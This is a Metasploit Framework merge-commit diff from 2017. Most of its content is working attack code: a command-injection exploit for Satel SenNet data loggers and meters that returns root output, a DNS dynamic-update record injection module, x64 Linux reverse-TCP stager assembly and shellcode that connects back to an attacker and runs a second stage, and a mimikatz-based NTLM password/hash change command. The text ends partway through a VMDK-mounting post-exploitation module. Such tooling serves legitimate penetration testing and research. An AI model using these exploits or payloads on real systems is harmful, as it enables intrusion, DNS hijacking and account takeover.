Merge branch 'upstream-master' into land-8603-

bug/bundler_fix
Brent Cook 2017-06-27 04:03:31 -05:00
commit e08bd84038
35 changed files with 857 additions and 80 deletions

View File

@ -8,6 +8,7 @@ PATH
backports
bcrypt
bit-struct
dnsruby
filesize
jsobfu
json
@ -15,7 +16,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.33)
metasploit-payloads (= 1.2.36)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.10)
msgpack
@ -138,6 +139,7 @@ GEM
railties (>= 4, < 5.2)
cucumber-wire (0.0.1)
diff-lcs (1.3)
dnsruby (1.60.1)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.8.0)
@ -196,8 +198,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.33)
metasploit_data_models (2.0.14)
metasploit-payloads (1.2.36)
metasploit_data_models (2.0.15)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers

View File

@ -0,0 +1,30 @@
# Dynamic DNS Update Injection
`dyn_dns_update` module allows adding or deleting DNS records
on a DNS server that allows unrestricted dynamic updates.
## Vulnerable Application
Any DNS server that allows dynamic update for none trusted source IPs.
## Verification Steps
1. Start msfconsole
2. Do: ```auxiliary/scanner/dns/dyn_dns_update```
3. Do: ```set DOMAIN [IP]```
4. Do: ```set NS [IP]```
5. Do: ```set INJECTDOMAIN [IP]```
6. Do: ```set INJECTIP [IP]```
7. Do: ```set ACTION ADD```
8. Do: ```run```
## Actions
There are two kind of actions the module can run:
1. **ADD** - Add a new record. [Default]
2. **DEL** - Delete an existing record.
## Targeting Information
WPAD may not work with Windows 2008+ targets due to a DNS block list: https://technet.microsoft.com/en-us/library/cc995261.aspx

View File

@ -0,0 +1,28 @@
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected:
1. SenNet Optimal DataLogger V5.37c-1.43c and prior,
2. SenNet Solar Datalogger V5.03-1.56a and prior, and
3. SenNet Multitask Meter V5.21a-1.18b and prior.
## Verification Steps
1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/telnet/satel_cmd_exec
msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
msf auxiliary(satel_cmd_exec) > run
[*] 1.3.3.7:5000 - Sending command now - id;
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,75 @@
##
#
# Name: stager_sock_reverse
# Qualities: -
# Authors: nemo <nemo [at] felinemenace.org>, tkmru
# License: MSF_LICENSE
# Description:
#
# Implementation of a Linux reverse TCP stager for x64 architecture.
#
# Assemble with: gcc -nostdlib stager_sock_reverse.s -o stager_sock_reverse
#
# Meta-Information:
#
# meta-shortname=Linux Reverse TCP Stager
# meta-description=Connect back to the framework and run a second stage
# meta-authors=ricky, tkmru
# meta-os=linux
# meta-arch=x64
# meta-category=stager
# meta-connection-type=reverse
# meta-name=reverse_tcp
##
.text
.globl _start
_start:
xor %rdi,%rdi
pushq $0x9
pop %rax
cltd
mov $0x10,%dh
mov %rdx,%rsi
xor %r9,%r9
pushq $0x22
pop %r10
mov $0x7,%dl
syscall
test %rax, %rax
js failed
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
push %rsi
push %rax
pushq $0x29
pop %rax
cltd
pushq $0x2
pop %rdi
pushq $0x1
pop %rsi
syscall
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
test %rax, %rax
js failed
xchg %rax,%rdi
movabs $0x100007fb3150002,%rcx
push %rcx
mov %rsp,%rsi
pushq $0x10
pop %rdx
pushq $0x2a
pop %rax
syscall
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
test %rax, %rax
js failed
pop %rcx
failed:
pushq $0x3c
pop %rax
pushq $0x1
pop %rdi
syscall
# exit(1)

View File

@ -214,8 +214,9 @@ module Session
dstr = sprintf("%.4d%.2d%.2d", dt.year, dt.mon, dt.mday)
rhost = session_host.gsub(':', '_')
sname = name.to_s.gsub(/\W+/,'_')
"#{dstr}_#{rhost}_#{type}"
"#{dstr}_#{sname}_#{rhost}_#{type}"
end
#

View File

@ -687,7 +687,7 @@ module Msf
#
# Command to take to the previously active module
#
def cmd_previous()
def cmd_previous(*args)
if @previous_module
self.cmd_use(@previous_module.fullname)
else

View File

@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile
def log(sev, src, level, msg, from) # :nodoc:
return unless msg.present?
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
msg = msg.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, ' ').gsub(/\s+$/,'')
fd.write("[#{get_current_timestamp}] #{msg}\n")
fd.flush
end

View File

@ -53,6 +53,43 @@ class Kiwi < Extension
output[output.index("\n") + 1, output.length]
end
def password_change(opts)
cmd = "lsadump::changentlm /user:#{opts[:user]}"
cmd << " /server:#{opts[:server]}" if opts[:server]
cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
output = exec_cmd("\"#{cmd}\"")
result = {}
if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
result[:old] = $1
end
if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
result[:new] = $1
end
if output =~ /^ERROR/m
result[:success] = false
if output =~ /^ERROR.*SamConnect/m
result[:error] = 'Invalid server.'
elsif output =~ /^ERROR.*Bad old/m
result[:error] = 'Invalid old password or hash.'
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
result[:error] = 'Invalid user.'
else
STDERR.puts(output)
result[:error] = 'Unknown error.'
end
else
result[:success] = true
end
result
end
def dcsync(domain_user)
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
end

View File

@ -390,31 +390,31 @@ class ProcessList < Array
return Rex::Text::Table.new(opts)
end
cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
# Arch and Session are specific to native Windows, PHP and Java can't do
# ppid. Cut columns from the list if they aren't there. It is conceivable
# that processes might have different columns, but for now assume that the
# first one is representative.
cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
column_headers = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
column_headers.delete_if do |h|
none? { |process| process.has_key?(h.downcase) } ||
all? { |process| process[h.downcase].nil? }
end
opts = {
'Header' => 'Process List',
'Indent' => 1,
'Columns' => cols
'Columns' => column_headers
}.merge(opts)
tbl = Rex::Text::Table.new(opts)
each { |process|
tbl << cols.map { |c|
col = c.downcase
each do |process|
tbl << column_headers.map do |header|
col = header.downcase
next unless process.keys.any? { |process_header| process_header == col }
val = process[col]
if col == 'session'
val == 0xFFFFFFFF ? '' : val.to_s
else
val
end
}.compact
}
end
end
tbl
end

View File

@ -5,7 +5,7 @@ module Meterpreter
module Extensions
module Winpmem
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 2)
end
end
end

View File

@ -43,8 +43,10 @@ class Winpmem < Extension
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
raise Exception, "We did not get a channel back!" if channel_id.nil?
#Open the compressed Channel
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
# Open the compressed Channel
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem",
CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
return memory_size, response_code, channel
end
end

View File

@ -512,7 +512,7 @@ class Console::CommandDispatcher::Android
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Destination number' ],
'-t' => [ true, 'SMS body text' ],
'-dr' => [ false, 'Wait for delivery report' ]
'-r' => [ false, 'Wait for delivery report' ]
)
dest = ''
@ -530,7 +530,7 @@ class Console::CommandDispatcher::Android
dest = val
when '-t'
body = val
when '-dr'
when '-r'
dr = true
end
end

View File

@ -604,25 +604,24 @@ class Console::CommandDispatcher::Core
# Arguments for transport switching
#
@@transport_opts = Rex::Parser::Arguments.new(
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
'-l' => [true, 'LHOST parameter (for reverse transports)'],
'-p' => [true, 'LPORT parameter'],
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
'-u' => [true, 'Custom URI for HTTP/S transports (used when removing transports)'],
'-lu' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'],
'-ua' => [true, 'User agent for HTTP/S transports (optional)'],
'-ph' => [true, 'Proxy host for HTTP/S transports (optional)'],
'-pp' => [true, 'Proxy port for HTTP/S transports (optional)'],
'-pu' => [true, 'Proxy username for HTTP/S transports (optional)'],
'-ps' => [true, 'Proxy password for HTTP/S transports (optional)'],
'-pt' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'],
'-c' => [true, 'SSL certificate path for https transport verification (optional)'],
'-to' => [true, 'Comms timeout (seconds) (default: same as current session)'],
'-ex' => [true, 'Expiration timout (seconds) (default: same as current session)'],
'-rt' => [true, 'Retry total time (seconds) (default: same as current session)'],
'-rw' => [true, 'Retry wait time (seconds) (default: same as current session)'],
'-v' => [false, 'Show the verbose format of the transport list'],
'-h' => [false, 'Help menu'])
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
'-l' => [true, 'LHOST parameter (for reverse transports)'],
'-p' => [true, 'LPORT parameter'],
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
'-u' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'],
'-c' => [true, 'SSL certificate path for https transport verification (optional)'],
'-A' => [true, 'User agent for HTTP/S transports (optional)'],
'-H' => [true, 'Proxy host for HTTP/S transports (optional)'],
'-P' => [true, 'Proxy port for HTTP/S transports (optional)'],
'-U' => [true, 'Proxy username for HTTP/S transports (optional)'],
'-N' => [true, 'Proxy password for HTTP/S transports (optional)'],
'-B' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'],
'-C' => [true, 'Comms timeout (seconds) (default: same as current session)'],
'-X' => [true, 'Expiration timout (seconds) (default: same as current session)'],
'-T' => [true, 'Retry total time (seconds) (default: same as current session)'],
'-W' => [true, 'Retry wait time (seconds) (default: same as current session)'],
'-v' => [false, 'Show the verbose format of the transport list'],
'-h' => [false, 'Help menu'])
#
# Display help for transport management.
@ -666,7 +665,6 @@ class Console::CommandDispatcher::Core
:transport => nil,
:lhost => nil,
:lport => nil,
:uri => nil,
:ua => nil,
:proxy_host => nil,
:proxy_port => nil,
@ -687,31 +685,29 @@ class Console::CommandDispatcher::Core
case opt
when '-c'
opts[:cert] = val
when '-u'
opts[:uri] = val
when '-i'
transport_index = val.to_i
when '-lu'
when '-u'
opts[:luri] = val
when '-ph'
when '-H'
opts[:proxy_host] = val
when '-pp'
when '-P'
opts[:proxy_port] = val.to_i
when '-pt'
when '-B'
opts[:proxy_type] = val
when '-pu'
when '-U'
opts[:proxy_user] = val
when '-ps'
when '-N'
opts[:proxy_pass] = val
when '-ua'
when '-A'
opts[:ua] = val
when '-to'
when '-C'
opts[:comm_timeout] = val.to_i if val
when '-ex'
when '-X'
opts[:session_exp] = val.to_i if val
when '-rt'
when '-T'
opts[:retry_total] = val.to_i if val
when '-rw'
when '-W'
opts[:retry_wait] = val.to_i if val
when '-p'
opts[:lport] = val.to_i if val

View File

@ -38,7 +38,7 @@ class Console::CommandDispatcher::Kiwi
super
print_line
print_line
print_line(" .#####. mimikatz 2.1.1-20170409 (#{client.session_type})")
print_line(" .#####. mimikatz 2.1.1 20170608 (#{client.session_type})")
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
print_line(" ## / \\ ## /* * *")
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
@ -72,6 +72,7 @@ class Console::CommandDispatcher::Kiwi
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
'password_change' => 'Change the password/hash of a user',
'wifi_list' => 'List wifi profiles/creds for the current user',
'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)',
}
@ -82,6 +83,92 @@ class Console::CommandDispatcher::Kiwi
print_line(output)
end
#
# Valid options for the password change feature
#
@@password_change_usage_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner'],
'-u' => [true, 'User name of the password to change.'],
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
'-p' => [true, 'The known existing/old password (do not use with -n).'],
'-n' => [true, 'The known existing/old hash (do not use with -p).'],
'-P' => [true, 'The new password to set for the account (do not use with -N).'],
'-N' => [true, 'The new hash to set for the account (do not use with -P).']
)
def cmd_password_change_usage
print_line('Usage password_change [options]')
print_line
print_line(@@password_change_usage_opts.usage)
end
def cmd_password_change(*args)
if args.length == 0 || args.include?('-h')
cmd_password_change_usage
return
end
opts = {}
@@password_change_usage_opts.parse(args) { |opt, idx, val|
case opt
when '-u'
opts[:user] = val
when '-s'
opts[:server] = val
when '-p'
opts[:old_pass] = val
when '-n'
opts[:old_hash] = val
when '-P'
opts[:new_pass] = val
when '-N'
opts[:new_hash] = val
end
}
valid = true
if opts[:old_pass] && opts[:old_hash]
print_error('Options -p and -n cannot be used together.')
valid = false
end
if opts[:new_pass] && opts[:new_hash]
print_error('Options -P and -N cannot be used together.')
valid = false
end
unless opts[:old_pass] || opts[:old_hash]
print_error('At least one of -p and -n must be specified.')
valid = false
end
unless opts[:new_pass] || opts[:new_hash]
print_error('At least one of -P and -N must be specified.')
valid = false
end
unless opts[:user]
print_error('The -u parameter must be specified.')
valid = false
end
if valid
unless opts[:server]
print_status('No server (-s) specified, defaulting to localhost.')
end
result = client.kiwi.password_change(opts)
if result[:success] == true
print_good("Success! New NTLM hash: #{result[:new]}")
else
print_error("Failed! #{result[:error]}")
end
end
end
def cmd_dcsync(*args)
return unless check_is_domain_user

View File

@ -60,12 +60,13 @@ module Ui
end
print_good("Driver PMEM loaded successfully")
#Arbitrary big buffer size, could be optimized
buffer_size = 2**17
buffer_size = 2 ** 17
bytes_read = 0
next_message_byte = memory_size / 10
print_good("Dumping #{memory_size} bytes (press Ctrl-C to abort)")
begin
data = channel.read(buffer_size)
until channel.eof
until channel.eof || data.nil?
fd.write(data)
bytes_read += data.length
data = channel.read(buffer_size)

View File

@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.33'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.36'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.10'
# Needed by msfgui and other rpc components
@ -114,6 +114,7 @@ Gem::Specification.new do |spec|
#
# Protocol Libraries
#
spec.add_runtime_dependency 'dnsruby'
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'ruby_smb'

View File

@ -0,0 +1,171 @@
# -*- coding: binary -*-
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'dnsruby'
class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'DNS Server Dynamic Update Record Injection',
'Description' => %q{
This module allows adding and/or deleting a record to
any remote DNS server that allows unrestricted dynamic updates.},
'Author' => [
'King Sabri <king.sabri[at]gmail.com>',
'Brent Cook <brent_cook[at]rapid7.com>'
],
'References' => [
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
],
'License' => MSF_LICENSE,
'Actions' => [
['UPDATE', {'Description' => 'Add or update a record. (default)'}],
['ADD', {'Description' => 'Add a new record. Fail if it already exists.'}],
['DELETE', {'Description' => 'Delete an existing record.'}]
],
'DefaultAction' => 'UPDATE'
)
register_options([
OptString.new('DOMAIN', [true, 'The domain name']),
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
OptString.new('HOSTNAME', [true, 'The name record you want to add']),
OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
])
deregister_options('RPORT')
end
def record_action(type, type_enum, value, action)
# Send the update to the zone's primary master.
domain = datastore['DOMAIN']
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
opts = {nameserver: datastore['RHOST']}
if datastore['CHOST'] && datastore['CHOST'] != ""
if Rex::Socket.is_ipv4?(datastore['CHOST'])
opts[:src_address] = datastore['CHOST']
elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
opts[:src_address6] = datastore['CHOST']
end
end
resolver = Dnsruby::Resolver.new(opts)
update = Dnsruby::Update.new(domain)
updated = false
case
when action == :resolve
begin
answer = resolver.query(fqdn, type)
print_good "Found existing #{type} record for #{fqdn}"
return true
rescue Dnsruby::ResolvError, IOError => e
print_good "Did not find an existing #{type} record for #{fqdn}"
vprint_error "Query failed: #{e.message}"
return false
end
when action == :add
print_status("Sending dynamic DNS add message...")
update.absent("#{fqdn}.", type)
update.add("#{fqdn}.", type_enum, 86400, value)
begin
resolver.send_message(update)
print_good "The record '#{fqdn} => #{value}' has been added!"
updated = true
rescue Dnsruby::ResolvError, IOError => e
print_error "Cannot add #{fqdn}"
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
vprint_error "Update failed: #{e.message}"
end
when action == :delete
begin
print_status("Sending dynamic DNS delete message...")
update.present(fqdn, type)
update.delete(fqdn, type)
resolver.send_message(update)
print_good("The record '#{fqdn} => #{value}' has been deleted!")
updated = true
rescue Dnsruby::ResolvError, IOError => e
print_error "Cannot delete #{fqdn}"
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
vprint_error "Update failed: #{e.message}"
end
end
updated
end
def update_record(type:, type_enum:, value:, value_name:)
if value.nil? || value == ""
print_error "Record type #{type} requires the #{value_name} parameter to be specified"
return
end
force = datastore['CHOST'] && datastore['CHOST'] != ""
case
when action.name == 'UPDATE'
if force
record_action(type, type_enum, value, :delete)
record_action(type, type_enum, value, :add)
else
if record_action(type, type_enum, value, :resolve)
if record_action(type, type_enum, value, :delete)
record_action(type, type_enum, value, :add)
end
else
record_action(type, type_enum, value, :add)
end
end
when action.name == 'ADD'
if force
record_action(type, type_enum, value, :add)
else
if record_action(type, type_enum, value, :resolve) == false
record_action(type, type_enum, value, :add)
else
print_error "Record already exists, try DELETE or UPDATE"
end
end
when action.name == 'DELETE'
if force
record_action(type, type_enum, value, :delete)
else
if record_action(type, type_enum, value, :resolve)
record_action(type, type_enum, value, :delete)
else
print_error "Record does not exist, not deleting"
end
end
end
end
def run
ip = datastore['IP']
value = datastore['VALUE']
begin
case
when datastore['TYPE'] == 'A'
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
when datastore['TYPE'] == 'AAAA'
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
when datastore['TYPE'] == 'CNAME'
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
when datastore['TYPE'] == 'TXT'
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
else
print_error "Invalid Record Type!"
end
rescue ArgumentError => e
print_error(e.message)
rescue Dnsruby::OtherResolvError
print_error("Connection Refused!")
rescue Dnsruby::DecodeError
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
end
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
'Description' => %q{
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
to perform arbitrary command execution as 'root'.
},
'References' =>
[
[ 'CVE', '2017-6048' ],
[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ]
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'DisclosureDate' => 'Apr 07, 2017',
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(5000),
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
OptString.new('CMD', [true, 'Command(s) to run', 'id'])
], self.class
)
deregister_options('USERNAME', 'PASSWORD')
end
def run_host(ip)
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
begin
::Timeout.timeout(to) do
command = datastore['CMD']
inject = "$true; #{command}"
res = connect
print_status("Sending command now - #{command}")
sock.puts(inject)
data = sock.get_once(-1, to)
print_good("#{data}")
loot_name = 'cmd-exec-log'
loot_type = 'text/plain'
loot_desc = 'Satel SenNet CMD Exec Dump'
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
print_good("File saved in: #{p}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Connection Failed...")
return false
ensure
disconnect
end
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
CachedSize = 27727
CachedSize = 27602
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 54306
CachedSize = 54142
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 54270
CachedSize = 54106
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 54270
CachedSize = 54106
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 54222
CachedSize = 54058
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957503
CachedSize = 956991
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 958547
CachedSize = 958035
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 958547
CachedSize = 958035
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957503
CachedSize = 956991
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957503
CachedSize = 956991
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189951
CachedSize = 1188415
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190995
CachedSize = 1189459
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190995
CachedSize = 1189459
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189951
CachedSize = 1188415
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189951
CachedSize = 1188415
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp'
module MetasploitModule
CachedSize = 68
CachedSize = 96
include Msf::Payload::Stager
include Msf::Payload::Linux
@ -17,7 +17,7 @@ module MetasploitModule
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => 'ricky',
'Author' => ['ricky', 'tkmru'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
@ -26,10 +26,11 @@ module MetasploitModule
{
'Offsets' =>
{
'LHOST' => [ 45, 'ADDR' ],
'LPORT' => [ 43, 'n' ],
'LHOST' => [ 55, 'ADDR' ],
'LPORT' => [ 53, 'n' ],
},
'Payload' =>
# Generated from external/source/shellcode/linux/x64/stager_sock_reverse.s
"\x48\x31\xff" + # xor %rdi,%rdi
"\x6a\x09" + # pushq $0x9
"\x58" + # pop %rax
@ -42,6 +43,8 @@ module MetasploitModule
"\xb2\x07" + # mov $0x7,%dl
"\x0f\x05" + # syscall
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
"\x48\x85\xc0" + # test %rax,%rax
"\x78\x3c" + # js 40012c <failed>
"\x56" + # push %rsi
"\x50" + # push %rax
"\x6a\x29" + # pushq $0x29
@ -53,6 +56,8 @@ module MetasploitModule
"\x5e" + # pop %rsi
"\x0f\x05" + # syscall
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
"\x48\x85\xc0" + # test %rax,%rax
"\x78\x29" + # js 40012c <failed>
"\x48\x97" + # xchg %rax,%rdi
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
"\x15\xb3" + # LPORT
@ -65,12 +70,23 @@ module MetasploitModule
"\x58" + # pop %rax
"\x0f\x05" + # syscall
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
"\x48\x85\xc0" + # test %rax,%rax
"\x78\x0c" + # js 40012c <failed>
"\x59" + # pop %rcx
"\x5e" + # pop %rsi
"\x5a" + # pop %rdx
"\x0f\x05" + # syscall
# read(3, "", 4096)
"\xff\xe6" # jmpq *%rsi
"\x48\x85\xc0" + # test %rax,%rax
"\x78\x02" + # js 40012c <failed>
"\xff\xe6" + # jmpq *%rsi
# 40012c <failed>:
"\x6a\x3c" + # pushq $0x3c
"\x58" + # pop %rax
"\x6a\x01" + # pushq $0x1
"\x5f" + # pop %rdi
"\x0f\x05" #syscall
# exit(1)
}
))
end

View File

@ -0,0 +1,259 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Manage VMDK Mount Drive',
'Description' => %q{
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
or clones are linked from the file.
},
'License' => MSF_LICENSE,
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
'References' =>
[
['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
register_options(
[
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
]
)
end
# It returns an array of the drives currently mounted. Credits to mubix for this function.
def get_drives
